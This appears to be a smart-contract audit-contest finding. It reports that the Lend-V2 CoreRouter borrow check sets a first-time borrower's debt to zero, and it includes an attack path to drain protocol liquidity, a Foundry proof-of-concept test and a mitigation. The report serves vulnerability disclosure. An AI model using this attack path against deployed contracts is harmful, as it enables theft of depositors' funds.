Creamy Sage Caterpillar

High

# Incorrect Borrow Validation Enables Protocol Drain with Minimal Collateral

### Summary

CoreRouter borrow incorreclty adjust user borrows amount and leads too valid borrow requests to fail.  It also incorrectly sets total borrow to 0 if user borrowing new asset causing any borrow request to pass even with low colleteral.



### Root Cause

The CoreRouter borrow function applies index scaling to the result of getHypotheticalAccountLiquidityCollateral, which already includes global borrow debt in USD. This results in an incorrect and inflated borrowAmount.
Additionally, if the user has no prior borrow, borrowAmount = 0, letting them pass the collateral check and borrow up to the protocolâ€™s total available liquidity.

```solidity
    function borrow(uint256 _amount, address _token) external {
        require(_amount != 0, "Zero borrow amount");

        address _lToken = lendStorage.underlyingTolToken(_token);

        LTokenInterface(_lToken).accrueInterest();

        (uint256 borrowed, uint256 collateral) =
            lendStorage.getHypotheticalAccountLiquidityCollateral(msg.sender, LToken(payable(_lToken)), 0, _amount);

        LendStorage.BorrowMarketState memory currentBorrow = lendStorage.getBorrowBalance(msg.sender, _lToken);

        uint256 borrowAmount = currentBorrow.borrowIndex != 0
            ? ((borrowed * LTokenInterface(_lToken).borrowIndex()) / currentBorrow.borrowIndex)
            : 0;

        require(collateral >= borrowAmount, "Insufficient collateral");

```
https://github.com/sherlock-audit/2025-05-lend-audit-contest/blob/713372a1ccd8090ead836ca6b1acf92e97de4679/Lend-V2/src/LayerZero/CoreRouter.sol#L157



### Internal Pre-conditions

User needs to have no existing borrow on the given _lToken, so that currentBorrow.borrowIndex == 0
User needs to deposit minimal collateral to a supported market
Protocol has significant liquidity available to borrow






### External Pre-conditions

-

### Attack Path

1. Attacker deposits $1 into any collateral-supported market
2. Calls borrow() for the maximum borrowable amount from any _lToken
3. Since it's their first borrow, currentBorrow.borrowIndex == 0, and borrowAmount becomes 0
4. The collateral check passes ($1 >= $0)
5. Attacker withdraws full borrowable amount (e.g., $1000) from the protocol
6. Can repeat until all protocol liquidity is drained

### Impact

The protocol suffers a complete drain of borrowable liquidity.
Other users are unable to borrow or redeem due to drained pools.
If user borrows same asset inflated borrowAmount can cause valid borrow requests to fail




### PoC

Add test to Lend-V2/test/TestBorrowing.t.sol 

```solidity
    function test_borrow_more_than_col() public {
        // Bound amount between 1e18 and 1e30 to ensure reasonable test values
        uint256 amount = 1e18;
        vm.startPrank(deployer);

        // First supply tokens as collateral
        (address token, address lToken) = _supply(amount);

        // Calculate maximum allowed borrow (70% of collateral to leave some safety margin)
        uint256 maxBorrow = (amount * 70) / 100;

        address alice = makeAddr("alice");
        vm.startPrank(alice);
        ERC20Mock(token).mint(alice, 1);
        IERC20(token).approve(address(coreRouter), 1);
        coreRouter.supply(1, token);
        vm.stopPrank();

        // Get initial balances
        uint256 initialTokenBalance = IERC20(token).balanceOf(deployer);

        vm.startPrank(alice);
        coreRouter.borrow(maxBorrow, token);
        // Check account liquidity after borrow
        (uint256 sumBorrowPlusEffects, uint256 sumCollateral) = lendStorage
            .getHypotheticalAccountLiquidityCollateral(
                alice,
                LToken(lToken),
                0,
                0
            );
        // @audit user borrowed more than collateral
        assertEq(sumBorrowPlusEffects, 700000000000000000);
        assertEq(sumCollateral, 0);
    }
```

### Mitigation

Replace the logic with a simple comparison of collateralValueUSD >= borrowedValueUSD + newBorrowUSD, relying only on already normalized values.